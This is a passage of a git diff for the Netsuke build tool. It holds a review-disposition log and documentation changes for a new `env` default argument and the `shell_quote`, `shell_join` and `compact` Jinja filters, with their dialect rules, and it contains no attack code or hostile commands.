+ manifest helper's own keyword — `env(name, default=…)` — which users type + literally, and `docs/translators-guide.md` makes that the policy: "Leave + Netsuke's own identifiers untranslated — users type them." The same guide + names `env`'s sibling identifiers (`foreach`, `when`, `vars`, `cwd_mode`, + `with_suffix`, `group_by`) as covered by that rule. Replacing the token in + four catalogues would also desynchronize them from the other 31 for no + reader's benefit, since a user who mistypes `default=` gets an error naming + `default=`. + + ```text + cs Hodnota default v env musí být řetězec, obdrženo { $kind }. + ru Значение default в env должно быть строкой, получено { $kind }. + de Der default von env muss eine Zeichenkette sein, empfangen wurde { $kind }. + cy Rhaid i default env fod yn llinyn, derbyniwyd { $kind }. + ``` + + For the `{ $kind }` placement in `el` and `pl`: the pattern is the existing + house idiom, not a new one. `stdlib.collections.flatten.expected_sequence` + has shipped the identical construction in the same catalogues since before + this plan existed — `el` reads + `Το flatten περίμενε στοιχεία ακολουθίας αλλά βρήκε { $kind }.` for + `flatten`, and the new `compact` line reads + `Το compact περιμένει ακολουθία αλλά βρήκε { $kind }.`. `pl` ends both with + `napotkał { $kind }`. Inflecting a whole-catalogue idiom to satisfy a + one-message preference would make `compact` disagree with `flatten` sitting + directly above it in the same file. + + The shape is worth naming: of 16 findings, 12 were three defects reported + twice each, and the localization group repeats one evaluator preference + across seven locales. As with EP-M1's four rejected translation findings, + each rejected item is recorded so the decision is auditable rather than + silent. + + **Entry 6 (continued) — EP-M2 review pass (2026-09-19, 12:48–12:54).** Run by + `scrutineer` as `coderabbit review --agent`, exit 0, no rate limiting, + `review_completed`, 17 findings over 58 files. Raw JSONL is + `/tmp/coderabbit-netsuke-3-14-8-jinja-epm2.out`. The `reviewedFiles` list is + the proof of revision: it covers the EP-M1 and EP-M2 files + (`src/manifest/env_reader.rs`, `src/stdlib/collections.rs`, + `tests/std_filter_tests/collection_filters/compact_tests.rs`, all 35 + catalogues, and the plan) and contains **no** EP-M3 file, confirming the + review ran against `d8b01bd2` and that EP-M3's edits are not yet reviewed. + + Of the 17 findings, none was applied, and the reason is the same in every + case: **each describes a state the tree is not in.** They fall into four + groups. + + *Rejected against a settled decision (1 finding — 11).* Finding 11 (major) + reads `src/stdlib/collections.rs:119` and asks that the guard accept only + `ValueKind::Seq` rather than `Seq | Iterable`, adding a + `Value::make_iterable` regression test. **The guard is correct as written + and the finding is declined.** Decision D8 states that `compact` and + `shell_join` accept "only `ValueKind::Seq` and `ValueKind::Iterable`; every + other kind, `Map`, `String`, `None`, and `Undefined` included, raises an + error naming the received kind", and EP-M4's Green step repeats that + acceptance verbatim. The shipped predicate is + `!matches!(kind, ValueKind::Seq | ValueKind::Iterable)`, which is exactly + the decision. Narrowing to `Seq` alone would reject the sequence-shaped + values minijinja hands back for some generators, which is the opposite of + D8's intent — D8 exists to reject *maps and strings*, not to reject + iterables. The reviewer's premise is a misreading of the guard's polarity, + not a defect in it. + + *(Superseded — my first draft of this entry claimed the tree "already + accepts only `Seq`" and dismissed the finding as stale. That was wrong: + `src/stdlib/collections.rs:119` reads + `ValueKind::Seq | ValueKind::Iterable`, so the reviewer described the code + accurately. The finding is still declined, but on the grounds above — the + code matches a recorded decision, not because the reviewer misread the tree. + Recorded because the error was mine and the distinction is the whole point + of keeping this log.)* + + *Already satisfied (4 findings — 13, 16, and the pair 12/15).* Findings 13 + and 16 (both major) read EP-M3's conformance check — "exactly one + recipe-shell quoting implementation remains" — as a claim about + `QuoteRefExt::quoted` **call sites**, find two, and ask that the requirement + be tightened to "zero outside the two exemptions". The reading is the error: + the sentence constrains *implementations of recipe-shell quoting*, and it is + satisfied. There are indeed two `.quoted(` sites, both intended — + `src/shell_word.rs:65`, the single sanctioned encoder, and + `src/stdlib/command/quote.rs:100`, whose divergence is the `cmd.exe` quoting + the same conformance check requires to stay untouched. Note also that at + EP-M3 neither site carries an `#[expect]`: the `clippy.toml` entry and both + attributes land in EP-M4, because adding the entry in EP-M3 would + immediately make `quote.rs` a violation and force an edit that EP-M3's + conformance check forbids. Findings 12 and 15 (both major) ask that the + EP-M4 acceptance checklist name `tests/shell_filter_composition_tests.rs` + and obligations OBL-CONTEXT / OBL-JOIN-QUOTE-AGREE / OBL-KIND-GATE / + OBL-COMPOSITION, and that a scenario count be corrected from five to eight. + The checklist edit is unnecessary: those items are already named in EP-M4's + own Red and Acceptance-evidence steps; + `tests/shell_filter_composition_tests.rs` and all four obligations appear at + `Validation and acceptance` lines 1946-1948. The scenario count is the one + claim with substance, and measurement **rejects both figures**: the + reviewer's "eight" is wrong, but the plan's bare "five new + `tests/features/stdlib.feature` scenarios" is ambiguous in a way that + invites exactly the reviewer's error. `tests/features/stdlib.feature` today + has 43 scenarios, of which five contain "shell" — but those five are the + pre-existing `shell` *command* filter (`shell filter transforms text…`, + `…reports command failures`, `…enforces command output limits`, + `…streams large output…`, `…enforces command stream limits`), present since + before this plan and unrelated to `shell_quote`. The reviewer's eight is 5 + pre-existing shell + 2 `compact` + 1, i.e. a substring count. EP-M4's + behavioural block lists five genuinely new `shell_quote`/`shell_join` + scenarios, so the plan's number is right for the intended reading; the fix + applied here names those five scenarios explicitly so the number can be + checked rather than recounted. The lesson generalizes: **a scenario count in + this plan must be identified by name, because "shell" matches two unrelated + filters.** + + *False premise (finding 14, counted once in the locale group above).* The + Czech finding asserts a defect at "both referenced locations". There is only + one: `locales/cs/messages.ftl` has a single + `manifest.env.default_not_string` entry, and the only other match anywhere + is this plan's quotation of that line. A finding whose premise is a count + that does not hold cannot be actioned as written — and it is the second time + this reviewer has reported a multiplicity that the tree does not have (see + EP-M1's four locale findings, entry 6), which is worth watching if the + pattern recurs. + + *Evaluator preference over a settled decision (9 findings — 3, 5, 6, 7, 8, + 9, 14, and 2/4).* Seven are locale rewording requests — Dutch (3), Danish + (5), German (6), Spanish (7), Welsh (8), Greek (9), and Czech (14) — all + touching one message, `manifest.env.default_not_string`, and each asking for + a different wording. They are declined on the same two grounds the EP-M1 + locale findings were: `docs/translators-guide.md` §7 makes leaving Netsuke's + own identifiers untranslated the policy — `default` is a keyword users type, + and it is untranslated in all 35 catalogues including the `en-US` source — + and the `{ $kind }`-after-participle shape is the pre-existing house idiom, + already used by `stdlib.collections.flatten` in the same catalogues. + Findings 2 and 4 ask for per-test `///` comments in + `tests/std_filter_tests/collection_filters/{mod,group_by_tests}.rs`; both + files carry module-level `//!` docs, and `compact_tests.rs` — the file EP-M2 + actually wrote — already has per-test docs. + + *Wording (3 findings — 1/17, and 10).* Findings 1 and 17 (duplicates) ask + that `tests/stdlib_manifest_query_tests.rs:196` parse JSON rather than + substring-match. Finding 10 asks that `src/manifest/env_telemetry.rs`'s + module doc add a validation-order clause. Both are defensible improvements + to pre-existing code outside EP-M2's scope; neither describes a defect. They + are left for a future pass rather than bundled into a milestone whose + conformance check fixes its scope. + + Group totals: 1 (finding 11) + 4 (13, 16, 12, 15) + 9 (3, 5, 6, 7, 8, 9, 14, + 2, 4) + 3 (1, 17, 10) = 17. Disposition: **17 findings, 0 applied, 1 real + plan ambiguity recorded and fixed (the scenario count in + `Validation and acceptance`), 1 rejected on a false premise (finding 14's + "both locations").** The rejection rate tracks EP-M1's and has the same + cause — the reviewer reasons over the plan's *described* future state and + over evaluator preferences, not over the tree it was given. + +## Revision note + +- 2026-09-08: initial draft. +- 2026-09-19: EP-M1 confirmation CodeRabbit pass cleared (see + `Artefacts and notes` entry 6, continued). Three real plan defects fixed — + AXIOM-4 restated so it agrees with D4, the duplicated `add src/shell_word.rs` + removed from EP-M4's Green step, and EP-M5's invalid `8a`/`8b` list markers + renumbered. One plan finding rejected as formally false and eight + localization findings rejected under the translators-guide identifier rule. + The pass ran against `d2c6f573` plus uncommitted plan edits and therefore + reviewed no EP-M2 code. +- 2026-09-19: EP-M1 CodeRabbit review applied (see `Artefacts and notes` entry 6 + for the full disposition and the four rejected findings). +- 2026-09-19: EP-M1 implementation recorded. The `env` and `glob` registrations + moved to `src/manifest/registration.rs` as a pure move (`16c3cfe6`); + `env_var_with` became `env_var_with_default` with the `fallback` parameter + placed *after* the policy parameter so ADR-026 still evaluates first and a + blocked name never reaches the reader; `env_default_from_kwargs` reads + `Option` and rejects a defined non-string; the disabled query stub + widened to `Kwargs`; `manifest.env.args_error` and + `manifest.env.default_not_string` added to all 35 catalogues; three + `manifest.feature` scenarios and fixtures added. D4's `is_undefined` arm is + deleted as unreachable — see `Surprises & discoveries`. The behavioural + specification's `env` scenario moved from `stdlib.feature` to + `manifest.feature`, because `env` is a manifest-loader helper and the stdlib + harness never registers it. +- 2026-09-19: EP-M1's post-implementation lint triage recorded. + + **What changed.** Four deterministic findings from the first `make lint` + after the feature went green, all now resolved: `doc_markdown` on `MiniJinja` + and `option_if_let_else` in `src/manifest/registration.rs`; a + `single_match_else`/`option_if_let_else` contradiction on one `match` in + `src/manifest/env_reader.rs`; `too_many_arguments` (5/4) and a second + `doc_markdown` in `tests/manifest_env_tests.rs`; and Whitaker's + `no_expect_outside_tests` on the shared `assert_resolution` helper in + `src/manifest/tests/env_function.rs`. + + **Why it changed the shape of the work.** It did not change any behaviour or + any planned interface; the two structural extractions (`substitute_fallback`, + `default_as_string`) and the `Resolved` enum in the test helper are internal. + Two of the fixes, however, are recorded as observations because they are + non-obvious properties of the gate toolchain: the two clippy lints that + contradict each other on one site, and Whitaker keys on the nearest enclosing + function rather than the file. + + **Effect on remaining work.** None on scope. The lesson that transfers is + that a helper extracting a two-event arm from a `match` is the shape both + clippy lints accept, and that asserting test helpers must compare rather than + unwrap. Both are now known before EP-M3 and EP-M4 add more helpers of exactly + these kinds — EP-M3 adds `quote_word` and `is_recipe_admissible`, and EP-M4 + adds a property-test module. +- 2026-09-09: revised after a six-lens community-of-experts design review. + + **What changed.** Three MiniJinja behaviours the draft asserted were + falsified by direct experiment and are now corrected: + `Kwargs::get::>` stringifies rather than raising (D4), + `Value::try_iter()` accepts maps, strings, and `none` (D8), and a positional + argument yields a detail-free `TooManyArguments` (AXIOM-4). The `quote_path` + citation pointed at the wrong file. The encoder inventory said three where + there are five. The acceptance transcript placed the interpolation inside + double quotes, where the quoting corrupts the value rather than protecting it + — the plan's own worst failure mode, in the plan's own example, invisible to + all nine original obligations. Three module boundaries were redrawn: the + encoder into a `src/shell_word.rs` leaf so `src/recipe_shell.rs` stays + data-only; the stdlib module named `recipe_text` so it does not collide with + `src/stdlib/command/`, which already owns a filter named `shell`; and the + `ShellDialect` inverse deleted because the mapping is three-to-two. The + control-character rule is reused from `validate_ninja_value` rather than + reimplemented for a third time, and constraint 4 became a `clippy.toml` gate + instead of prose. A threat model now names the attacker instead of repeating + "non-negotiable security feature" unqualified. Five obligations were added + (OBL-CONTEXT, OBL-JOIN-QUOTE-AGREE, OBL-KIND-GATE, OBL-COMPOSITION, + OBL-NO-ESCAPE) and the behavioural scenarios now assert on the stable + `[netsuke::jinja::…]` codes rather than English prose that thirty-two + catalogues would translate away. + + **Why it changed the shape of the work.** The former EP-M4 and EP-M5 are now + one milestone. Splitting them would have shipped a state where, on a Windows + host with `NETSUKE_WINDOWS_SHELL=bash`, the filters quote for PowerShell + while the recipe runs under Bash — and PowerShell's doubled single quote is + *valid* POSIX syntax, so `a'b` silently becomes `ab` with no error anywhere. + That is R11, and constraint 10 now forbids it. + + **Effect on remaining work.** Message keys rose from five to eleven, so the + translation burden roughly doubles; decision D11 records the alternative that + would cut it to one, and is cheap to adopt before EP-M4 and expensive after. + EP-M1 gains a preparatory extraction because `src/manifest/mod.rs` is exactly + at the 400-line cap. Milestone count fell from six to five. The plan still + awaits approval; no implementation has begun. +- 2026-09-19: reconciled against `origin/main` after rebasing onto `0ba6672f`. + + **What changed.** Upstream had landed roughly twenty-nine commits of + environment-policy, budget, and observability work that this plan either + scheduled itself or assumed was pending. Six concrete corrections follow. (1) + The plan's ADR is renumbered `021` → `027`: `adr-021` was taken by the + upstream fetch-policy ADR, and five further ADRs landed on top of it, so + `adr-026` is now the highest. (2) `src/manifest/registration.rs` **already + exists** with exactly the four members this plan scheduled to extract, so R9 + became a convergence rather than a collision and EP-M1's extraction step is + replaced by an extension step. (3) `env_var_with` already takes an + `&EnvAccessPolicy` evaluated before the reader, so constraint 12 was added + and EP-M1's signature and test plan now cover the blocked-with-default case — + a hole the original draft could not have seen. (4) Every `env()` lookup + already reaches a single telemetry boundary, so EP-M1 must not invent a fifth + outcome vocabulary and EP-M5's new counter is conditional on saying what it + adds. (5) Constraint 13 was added because a new metric series is silently + dropped unless `src/observability_recorder.rs` admits it — a failure mode + this plan had no rule for. (6) Every document-line and source-line citation + was re-taken against `0ba6672f`; the `Conformance basis` table records the + old and new anchors so a reader can tell drift from error. Three pre-existing + internal inconsistencies in the milestone text were also fixed while + reconciling, all of them pre-review drafts that the reviewed interface + section had already superseded: EP-M3 named `src/recipe_shell/quoting.rs` and + a `src/recipe_shell/` promotion where the reviewed boundary requires a + `src/shell_word.rs` leaf and keeps `recipe_shell.rs` a data-only single file; + and EP-M3 and EP-M5 named `src/stdlib/shell/` where the reviewed boundary + names `src/stdlib/recipe_text/`. + + **Effect on remaining work.** EP-M1 is smaller (no extraction) but carries + one new cross-cutting requirement (constraint 12). EP-M3 and EP-M4 are + unchanged in size. The milestone count is unchanged at five. No code has been + written; the only repository change so far is the rebase and this document. diff --git a/docs/localization-glossary.md b/docs/localization-glossary.md index ded45bcd2..19a900e2f 100644 --- a/docs/localization-glossary.md +++ b/docs/localization-glossary.md @@ -1214,6 +1214,7 @@ Table 18: Scottish Gaelic terminology | exit status | inbhe fàgail | Coined by analogy with the attested computing sense of `inbhe`, "status" (e.g. `inbhe-dhiùltaidh`, "bounce status (in computing)") ([Am Faclair Beag](https://www.faclair.com/?txtSearch=inbhe)). | | stage (pipeline stage) | ìre | "Grade, degree, progress, stage" ([Am Faclair Beag](https://www.faclair.com/?txtSearch=%C3%ACre)); e.g. `ìre fàis`, "growth stage." | | locale | sgeama ionadail | Directly attested: "locale (in computing)," alongside the synonym `dreach ionadail` ([Am Faclair Beag](https://www.faclair.com/?txtSearch=locale)). | +| keyword (argument) | facal-luirg | Directly attested computing sense: "keyword" ([Am Faclair Beag](https://www.faclair.com/?txtSearch=facal-luirg)); `stdlib.shell.positional_option` is the message that names the concept, saying `shell_quote` takes its options *mar fhacal-luirg*. | | placeable | placeable | No attested Gaelic term for this Fluent-specific concept; recommend the unadapted English loan rather than coining one. | ### Hebrew (`he`) diff --git a/docs/netsuke-design.md b/docs/netsuke-design.md index 9eff55787..0aab364b3 100644 --- a/docs/netsuke-design.md +++ b/docs/netsuke-design.md @@ -725,7 +725,7 @@ exec: The renderer must treat each argument as one argv element and quote it for the selected backend. List-valued expressions should be supported without forcing authors to pre-tokenize flags into strings. This avoids accidental word -splitting and reduces the need for `shell_escape` in ordinary recipes. +splitting and reduces the need for `shell_quote` in ordinary recipes. #### Execution feedback @@ -1294,9 +1294,17 @@ providing a secure bridge to the underlying system. a denied name never obtains a process value. Each lookup, including a refusal, is counted once on the bounded `netsuke_manifest_env_lookups_total` series recorded by [ADR-009](adr-009-bounded-redacted-manifest-telemetry.md), - which carries only the `outcome` label and never the name or its value. The - `default` argument is planned; the current implementation only accepts the - variable name. The planned manifest-level `env` block in + which carries only the `outcome` label and never the name or its value. A + `default=` keyword argument supplies the value to use when the variable is + absent, which keeps `PATH`-style optional configuration out of the manifest's + control flow; it is accepted only as a string, and a non-string default + raises the `manifest.env.default_not_string` detail under the + `[netsuke::jinja::env::args]` code rather than stringifying the value. The + default is consulted for a *missing* variable only. An undecodable value is + still an error, because substituting there would hide a host fault the author + did not ask to tolerate, and a variable the access policy denies is still + refused, because a default is a fallback for absence and not a bypass. The + planned manifest-level `env` block in [§2.6](#26-planned-recipe-ergonomics-and-execution-feedback) controls the environment Netsuke applies when actions run. @@ -1358,21 +1366,38 @@ providing a secure bridge to the underlying system. In addition to functions, custom filters provide a concise, pipe-based syntax for transforming data within templates. -- `| shell_escape`: A filter that takes a string or list and escapes it for - safe inclusion as a single argument in a shell command. This is a - non-negotiable security feature to prevent command injection vulnerabilities. - The implementation will use the `shell-quote` crate for robust, shell-aware - quoting.[^22] This filter is planned and must be reconciled with structured - `exec` recipes so users do not need it for ordinary argv construction. - -- `| shell_join`: A planned filter that accepts a list of arguments and returns - one shell-safe command fragment. Each list element is quoted as a separate - argument. This is for deliberate shell recipes; structured `exec` recipes - remain preferred when no shell syntax is needed. - -- `| compact`: A planned collection filter that removes empty strings and null - values while preserving order. It supports patterns such as constructing - `RUSTFLAGS` from an optional user override without handwritten shell tests. +- `| shell_quote`: A filter that takes a string and encodes it as exactly one + shell word for a named dialect, so the value survives a shell's word + splitting as a single argument. This is a non-negotiable security feature to + prevent command injection vulnerabilities; hand-rolled escaping in a manifest + is where injection lives, and the manifest author is the party least able to + verify it. It is implemented once, in `src/shell_word.rs`, over the + `shell-quote` crate's `sh` encoder and a PowerShell single-quoted encoder, + and both the IR lowering path and this filter delegate there.[^22] The + dialect is named by a `dialect` keyword argument taking `sh` or `powershell`, + defaulting to the dialect implied by the active recipe shell; + [ADR-041](adr-041-canonical-recipe-shell-quoting-surface.md) records why the + argument exists, why `bash` is refused, and why the default is the surface's + one unstable axis. The filter is *not* a licence to stop preferring structured + `exec` recipes, which need no quoting at all: it serves the manifests that + still need shell syntax. Its output is correct only in unquoted argv + position, and it does not detect an author interpolating it inside a shell's + own double quotes, where the quoter's quotes become data. + +- `| shell_join`: A filter that accepts a list of arguments and returns one + shell-safe command fragment, joining each encoded element with exactly one + space so the shell re-splits it into the original sequence. Every element + must be a string, and no element is ever dropped — `['']` renders as one + empty word, which is why `compact` is a separate filter rather than a flag + here. It does not flatten nested lists. This is for deliberate shell recipes; + structured `exec` recipes remain preferred when no shell syntax is needed. + +- `| compact`: A collection filter that removes `none`, undefined, and empty + strings while preserving order. It drops nothing else: `0`, `false`, `[]`, + `{}`, and a whitespace-only string are all retained, which is what + distinguishes it from MiniJinja's `select`. It supports patterns such as + constructing `RUSTFLAGS` from an optional user override without handwritten + shell tests, which is how the two filters above compose with it. - `| to_path`: A filter that converts a string into a platform-native path representation, handling `/` and `\` separators correctly. @@ -3921,7 +3946,7 @@ goal. - **Tasks:** 1. Implement the full suite of custom Jinja functions (`glob`, `env`, etc.) - and filters (`shell_escape`). + and filters (`shell_quote`). 2. Mandate the use of `shell-quote` for all command variable substitutions. diff --git a/docs/repository-layout.md b/docs/repository-layout.md index 620c54f14..2f3510a8c 100644 --- a/docs/repository-layout.md +++ b/docs/repository-layout.md @@ -34,6 +34,7 @@ output and some leaf files so the long-lived structure remains visible. │ ├── ninja_gen/ │ ├── runner/ │ ├── snapshots/ +│ ├── shell_word.rs │ └── stdlib/ ├── test_support/ ├── tests/ @@ -123,8 +124,19 @@ output and some leaf files so the long-lived structure remains visible. `dyndep_generation_telemetry.rs`, and `process/dyndep_telemetry.rs`. - `src/snapshots/`: Checked-in `insta` snapshots for source-level snapshot tests. +- `src/shell_word.rs`: The single encoding of one string as a recipe shell + word, for a named dialect. It is a leaf: IR lowering, Ninja rendering, and + the template filters all depend on it, and it depends on nothing above them. + See the [developers guide](developers-guide.md) for the paths that + deliberately do *not* route through it. - `src/stdlib/`: Netsuke standard library modules exposed to manifest rendering. +- `src/stdlib/command/`: Structured-command wrappers, including + `child_argument.rs` (renamed from `quote.rs`), which spells one argument for + the interpreter a structured command runs under, including `cmd.exe`. +- `src/stdlib/recipe_text/`: The template-facing `shell_quote` and `shell_join` + filters, with their dialect telemetry. The filter adapter validates arguments + and resolves the dialect; the encoding itself is `src/shell_word.rs`. - `test_support/`: Shared Rust test-support crate used by integration and behavioural tests. - `tests/`: Integration tests, behavioural tests, test data, fixtures, and diff --git a/docs/rfcs/0006-ansible-inspired-template-standard-library.md b/docs/rfcs/0006-ansible-inspired-template-standard-library.md index ff1115f0a..96a636504 100644 --- a/docs/rfcs/0006-ansible-inspired-template-standard-library.md +++ b/docs/rfcs/0006-ansible-inspired-template-standard-library.md @@ -1399,13 +1399,28 @@ Quotes one value for a named shell dialect, reusing Netsuke's existing quoting machinery rather than adding a second implementation. - The subject must be a string. An embedded NUL is an error. -- `dialect` currently accepts only `sh`, matching the single `shell-quote` - feature Netsuke enables. An unknown value is an error enumerating the - accepted dialects. -- **This is the same capability as the `shell_escape` helper documented but - unimplemented today**, which roadmap task 3.14.8 exists to resolve. That task - remains the owner and ships first; this RFC contributes only the canonical - name and the `dialect` argument. Section 13 records the sequencing. +- `dialect` accepts `sh` and `powershell`. An unknown value is an error + enumerating the accepted dialects. **Amended 2026-09-27**: this section + originally read "`dialect` currently accepts only `sh`, matching the single + `shell-quote` feature Netsuke enables." The feature half was right and the + conclusion did not follow: `RecipeShell::host_default()` returns `PowerShell` + on Windows, and `src/ir/cmd_interpolate/` already carried a second, + non-`shell-quote` encoder for that case. An `sh`-only filter would have + emitted POSIX quoting into a recipe Windows PowerShell then parses, silently + corrupting the argument the author believed was protected. + [ADR-041](../adr-041-canonical-recipe-shell-quoting-surface.md) records the + decision and rejects `bash` for the reason given below. +- **This was the same capability as the `shell_escape` helper documented but + unimplemented at the time**, which roadmap task 3.14.8 existed to resolve. + That task was the owner and shipped first; this RFC contributed only the + canonical name and the `dialect` argument. Section 13 records the sequencing. + **Delivered by 3.14.8 on 2026-09-27**, which superseded `shell_escape` rather + than implementing it (the roadmap permitted either) and shipped `shell_quote` + and `shell_join` over one implementation in `src/shell_word.rs`. `bash` is + refused by that implementation; `sh` output is valid Bash, and the + `shell-quote` crate's `Bash` encoder emits a different form Netsuke does not + compile in. The name and the `dialect` argument were adopted as proposed + here; nothing in this section is still pending. - Ansible's `quote` alias is rejected; see section 10.2. - Structured recipes, tracked in [#593](https://github.com/leynos/netsuke/issues/593), remain the preferred @@ -1832,16 +1847,16 @@ does not have and what to write instead. ### 13.3. Relationship to in-flight work -| Work item | Relationship | -| ---------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Roadmap 3.14.8, `shell_escape` | Owns the shell-quoting capability and ships first. This RFC contributes the canonical name `shell_quote` and the `dialect` argument; the roadmap task should adopt them so the two do not diverge | -| Roadmap 3.15.5, enumerable errors | Section 6.6 requires every string-valued option to enumerate its valid values on failure; these helpers are a large new source of such options | -| [#594](https://github.com/leynos/netsuke/issues/594) | Gates all of this work; nothing here may widen the hardening release | -| [#593](https://github.com/leynos/netsuke/issues/593) | Structured recipes remain the preferred shell-free answer; `shell_quote` serves the manifests that still need a shell | -| [#590](https://github.com/leynos/netsuke/issues/590) | Owns any future dynamic provider registry; section 10.5 defers all dispatcher questions there | -| [ADR-008](../adr-008-environment-seam-taxonomy.md) | Governs the `expandvars` environment seam | -| [ADR-010](../adr-010-scope-glob-capability-to-literal-prefix.md) | Governs `glob(files_only=true)`, whose capability scoping is unchanged | -| [ADR-001](../adr-001-replace-serde-yml-with-serde-saphyr.md) | Governs the YAML stack that `from_yaml` and `from_yaml_all` use | +| Work item | Relationship | +| ---------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Roadmap 3.14.8, `shell_escape` | Owns the shell-quoting capability and ships first. This RFC contributes the canonical name `shell_quote` and the `dialect` argument; the roadmap task should adopt them so the two do not diverge. **Delivered 2026-09-27**: 3.14.8 adopted both and superseded `shell_escape`; the dialect set is wider than this RFC assumed, per section 8.9 and [ADR-041](../adr-041-canonical-recipe-shell-quoting-surface.md) | +| Roadmap 3.15.5, enumerable errors | Section 6.6 requires every string-valued option to enumerate its valid values on failure; these helpers are a large new source of such options | +| [#594](https://github.com/leynos/netsuke/issues/594) | Gates all of this work; nothing here may widen the hardening release | +| [#593](https://github.com/leynos/netsuke/issues/593) | Structured recipes remain the preferred shell-free answer; `shell_quote` serves the manifests that still need a shell | +| [#590](https://github.com/leynos/netsuke/issues/590) | Owns any future dynamic provider registry; section 10.5 defers all dispatcher questions there | +| [ADR-008](../adr-008-environment-seam-taxonomy.md) | Governs the `expandvars` environment seam | +| [ADR-010](../adr-010-scope-glob-capability-to-literal-prefix.md) | Governs `glob(files_only=true)`, whose capability scoping is unchanged | +| [ADR-001](../adr-001-replace-serde-yml-with-serde-saphyr.md) | Governs the YAML stack that `from_yaml` and `from_yaml_all` use | _Table 14: Relationship to in-flight Netsuke work._ diff --git a/docs/roadmap.md b/docs/roadmap.md index c5df7fc3e..9d982c283 100644 --- a/docs/roadmap.md +++ b/docs/roadmap.md @@ -364,20 +364,28 @@ and agents. - [x] Add command and script regression tests that distinguish Netsuke markers, internal tokens, shell variables such as `$in` / `$out`, and unrelated identifiers such as `$input`. -- [ ] 3.14.8. Make Jinja command helpers match the documented ergonomics. +- [x] 3.14.8. Make Jinja command helpers match the documented ergonomics. Depends on archived task `2.2.4` and 3.14.4. See - [netsuke-design.md §§4.4 and 4.5](netsuke-design.md). - - [ ] Add `env(name, default=...)` without changing the existing missing and + [netsuke-design.md §§4.4 and 4.5](netsuke-design.md) and + [ADR-041](adr-041-canonical-recipe-shell-quoting-surface.md). + - [x] Add `env(name, default=...)` without changing the existing missing and invalid UTF-8 diagnostics. - - [ ] Implement or remove the documented `shell_escape` helper so the user + - [x] Implement or remove the documented `shell_escape` helper so the user guide and code agree. - - [ ] Add `shell_join` and `compact` helpers for deliberate shell recipes. - - [ ] Add documentation and tests showing optional `RUSTFLAGS` construction + - [x] Add `shell_join` and `compact` helpers for deliberate shell recipes. + - [x] Add documentation and tests showing optional `RUSTFLAGS` construction without shell parameter expansion. - - Note: `env(name)` already exists in `src/manifest/mod.rs` but without the - `default=` kwarg (it raises on missing and non-UTF-8 values). The - `shell_escape`, `shell_join`, and `compact` helpers are not yet - implemented. + - Note: `env(name)` shipped with a `default=` kwarg that is consulted only for + a *missing* variable: a non-Unicode value and a policy-denied name are still + errors, and a non-string default is rejected rather than stringified. The + `shell_escape` helper was **superseded**, not implemented: `shell_quote` + takes its place, with `shell_join` beside it and `compact` in the collection + filters. The two shell filters each take a `dialect` of `sh` or + `powershell`, defaulting to the dialect implied by the active recipe shell, + and are correct only in unquoted argv position. The design and user guides + no longer name `shell_escape`; the tested `RUSTFLAGS` example lives in + `docs/stdlib-yaml-and-jinja-guide.md` and asserts one shell-quoted + `RUSTFLAGS` assignment with the variable both set and unset. - [ ] 3.14.9. Add structured recipe environment mappings. Requires 3.14.7, 3.14.8, and the follow-on design decision in 15.1.1. See [netsuke-design.md §2.6](netsuke-design.md#26-planned-recipe-ergonomics-and-execution-feedback). @@ -1192,6 +1200,11 @@ RFC 0006 §8.9. - Adopt `shell_quote` as the canonical name that resolves the documented but unimplemented `shell_escape` helper, and add the `dialect` argument with an enumerated value set. + - Note: 3.14.8 delivered the canonical name, the `dialect` argument, and the + single implementation in `src/shell_word.rs`, so what remains here is the + wider RFC 0006 dialect set beyond `sh` and `powershell` — `bash` in + particular, which 3.14.8 deliberately refuses. See + [ADR-041](adr-041-canonical-recipe-shell-quoting-surface.md). - Success: the user guide and the registered surface agree, and no second quoting implementation is introduced. - [ ] 6.8.4. Add `comment` with a closing-marker guard. Requires 6.1.4. diff --git a/docs/stdlib-yaml-and-jinja-guide.md b/docs/stdlib-yaml-and-jinja-guide.md index d131a5f69..41acd8b64 100644 --- a/docs/stdlib-yaml-and-jinja-guide.md +++ b/docs/stdlib-yaml-and-jinja-guide.md @@ -200,6 +200,12 @@ Collection filters are pure and preserve input order. preserving first-seen key order. Missing attributes are errors. Example: `{{ ([{'kind': 'tool'}, {'kind': 'tool'}] | group_by('kind')).tool | length }}` produces `2`. +- `values | compact` removes `none`, undefined, and empty strings, preserving + order. It drops nothing else: `0`, `false`, `[]`, `{}`, and a whitespace-only + string are retained. That is what distinguishes it from MiniJinja's `select`, + which keeps only truthy values and so also discards `0`, `false`, and empty + sequences. Example: `{{ ['a', none, '', 'b'] | compact | join(',') }}` + produces `a,b`. The following complete manifest exercises every path and collection filter. Its filesystem inputs are created by the documentation test before Netsuke is run. @@ -317,6 +323,71 @@ defaults: - stdlib-time.txt ``` +## Build shell recipe text + +A recipe becomes shell text, so a value interpolated into a command is split on +whitespace and re-read by the shell unless it is encoded first. `shell_quote` +and `shell_join` perform that encoding; they are the supported alternative to +hand-rolled escaping and to shell parameter expansion, neither of which works +across shells. + +- `value | shell_quote(dialect='sh')` renders `value` as exactly one shell word + for the named dialect. The value must be a string; numbers, booleans, + sequences, mappings, `none`, and undefined are all errors rather than being + stringified. The empty string renders as `''`, not as nothing. Tab, escape, + and non-ASCII text are preserved; NUL, carriage return, and line feed are + rejected, because a Ninja binding is single-line by construction. One word is + a promise about the shell, not only about the rendered text: for + `dialect='sh'` a POSIX shell splitting that text produces exactly one field, + byte-identical to the input. `tests/shell_filter_property_tests/` discharges + that against a real `sh`, and its companion control proves the check can fail + by feeding it a naive double-quoted witness. +- `values | shell_join(dialect='sh')` renders a list as one command line, with + exactly one space between elements. Every element must be a string, and no + element is dropped — `['']` renders as one empty word, which is why `compact` + is a separate filter rather than an option here. Nested lists are not + flattened. +- `dialect` accepts `sh` and `powershell`. Omit it and the dialect is the one + implied by the recipe's shell: `sh` on Unix, `powershell` on Windows. Pin it + when the generated text must be byte-stable, because the default depends on + the host and on configuration. `bash` is deliberately not accepted; `sh` + output is valid Bash, and a real `bash` dialect would mean something + different if it were added later. +- `compact` is the usual companion. `env('RUSTFLAGS', default='')` yields an + empty string when the variable is unset, and `compact` removes it, so the + shell word count does not change with the host's environment. + +Both filters are pure given a dialect, and both have no function form: they are +filters only. **Their output is correct only in unquoted argv position.** A +value interpolated inside the shell's own double quotes is *data* to the shell, +so the quotes these filters emit would arrive literally and corrupt the +argument. Neither filter can detect that mistake, and neither protects a value +interpolated anywhere other than as 